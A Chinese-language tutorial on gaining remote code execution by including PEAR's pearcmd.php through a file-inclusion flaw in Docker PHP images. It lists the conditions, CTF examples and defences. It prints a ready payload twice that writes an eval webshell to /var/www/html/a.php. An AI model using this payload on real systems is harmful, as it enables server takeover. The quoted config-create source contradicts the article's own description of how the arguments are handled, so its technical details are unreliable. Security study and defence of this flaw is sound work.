PEAR组件在Docker生态中的无文件RCE
字数 1274 2025-08-30 06:50:35

PEAR组件在Docker生态中的无文件RCE漏洞分析与利用

漏洞概述

PEAR(PHP Extension and Application Repository)是PHP官方维护的代码仓库系统,pearcmd.php是该生态的核心控制脚本。在特定条件下,攻击者可以利用PEAR组件的config-create命令实现无文件RCE(远程代码执行)。

漏洞原理

核心机制

  1. 参数注入:当PHP配置register_argc_argv=On时,URL中的+符号会被解析为参数分隔符
  2. 命令执行:通过文件包含漏洞包含pearcmd.php,并注入config-create命令参数
  3. 文件写入config-create命令可将任意内容写入指定文件,包括PHP webshell

关键组件

  • /usr/local/lib/php/pearcmd.php - PEAR组件的默认安装路径(Docker环境强制存在)
  • Console_Getopt::readPHPArgv() - 参数解析方法,将URL参数转换为命令行参数

漏洞利用条件

必要条件

  1. PHP版本 ≤ 7.4(Docker默认环境)
  2. register_argc_argv=On(可通过phpinfo()查看)
  3. PEAR组件已安装(路径/usr/local/lib/php/pear
  4. 存在文件包含漏洞(如include($_GET['file']);

非必要条件但常见于漏洞环境

  1. 容器化环境(Docker)
  2. 文件后缀白名单限制仅允许包含.php文件

漏洞利用详解

攻击流程

  1. 通过文件包含漏洞包含pearcmd.php
  2. 注入config-create命令参数
  3. 将PHP webshell写入web可访问目录
  4. 访问写入的webshell执行任意命令

典型Payload

http://target/?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[2]);>+/var/www/html/a.php

参数解析

  • &:URL参数分隔符
  • +:空格替代符(URL编码为%2b)
  • /:伪造绝对路径起始符

技术细节

config-create命令实现

function doConfigCreate($command, $options, $params) {
    if (count($params) < 2) {
        return PEAR::raiseError("config-create: expecting 2 parameters");
    }
    if (!file_exists($params[0])) {
        return PEAR::raiseError("config-create: source file does not exist");
    }
    if (!@is_writable(dirname($params[1]))) {
        return PEAR::raiseError("config-create: cannot write to destination directory");
    }
    $content = file_get_contents($params[0]);
    file_put_contents($params[1], $content);
    return true;
}

漏洞成因

  1. 直接写入用户输入的$content未做PHP代码检测
  2. 仅检查是否以/开头,未限制路径归属目录
  3. 使用Web进程权限写入,未校验目标目录所有权

实际案例

[NSSRound#8 Basic]MyPage

题目存在文件包含漏洞,利用pearcmd获取shell:

?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[2]);>+/var/www/html/a.php

元旦水友赛

利用pear工具的config-create命令:

  • 第一个参数:被写入文件的内容(PHP代码)
  • 第二个参数:写入的文件路径

防御措施

  1. 禁用register_argc_argv(设置为Off)
  2. 删除或限制访问pearcmd.php
  3. 严格过滤文件包含参数
  4. 限制web目录的写入权限
  5. 升级到最新PHP版本

总结

PEAR组件的无文件RCE漏洞展示了传统防御机制在特殊环境下的局限性。该漏洞利用PHP参数解析特性、PEAR组件功能以及Docker默认配置的组合,实现了无需文件上传的代码执行,是容器化环境中需要特别注意的安全风险。

PEAR组件在Docker生态中的无文件RCE漏洞分析与利用 漏洞概述 PEAR(PHP Extension and Application Repository)是PHP官方维护的代码仓库系统, pearcmd.php 是该生态的核心控制脚本。在特定条件下,攻击者可以利用PEAR组件的 config-create 命令实现无文件RCE(远程代码执行)。 漏洞原理 核心机制 参数注入 :当PHP配置 register_argc_argv=On 时,URL中的 + 符号会被解析为参数分隔符 命令执行 :通过文件包含漏洞包含 pearcmd.php ,并注入 config-create 命令参数 文件写入 : config-create 命令可将任意内容写入指定文件,包括PHP webshell 关键组件 /usr/local/lib/php/pearcmd.php - PEAR组件的默认安装路径(Docker环境强制存在) Console_Getopt::readPHPArgv() - 参数解析方法,将URL参数转换为命令行参数 漏洞利用条件 必要条件 PHP版本 ≤ 7.4(Docker默认环境) register_argc_argv=On (可通过 phpinfo() 查看) PEAR组件已安装(路径 /usr/local/lib/php/pear ) 存在文件包含漏洞(如 include($_GET['file']); ) 非必要条件但常见于漏洞环境 容器化环境(Docker) 文件后缀白名单限制仅允许包含 .php 文件 漏洞利用详解 攻击流程 通过文件包含漏洞包含 pearcmd.php 注入 config-create 命令参数 将PHP webshell写入web可访问目录 访问写入的webshell执行任意命令 典型Payload 参数解析 & :URL参数分隔符 + :空格替代符(URL编码为%2b) / :伪造绝对路径起始符 技术细节 config-create命令实现 漏洞成因 直接写入用户输入的 $content 未做PHP代码检测 仅检查是否以 / 开头,未限制路径归属目录 使用Web进程权限写入,未校验目标目录所有权 实际案例 [ NSSRound#8 Basic ]MyPage 题目存在文件包含漏洞,利用pearcmd获取shell: 元旦水友赛 利用pear工具的 config-create 命令: 第一个参数:被写入文件的内容(PHP代码) 第二个参数:写入的文件路径 防御措施 禁用 register_argc_argv (设置为Off) 删除或限制访问 pearcmd.php 严格过滤文件包含参数 限制web目录的写入权限 升级到最新PHP版本 总结 PEAR组件的无文件RCE漏洞展示了传统防御机制在特殊环境下的局限性。该漏洞利用PHP参数解析特性、PEAR组件功能以及Docker默认配置的组合,实现了无需文件上传的代码执行,是容器化环境中需要特别注意的安全风险。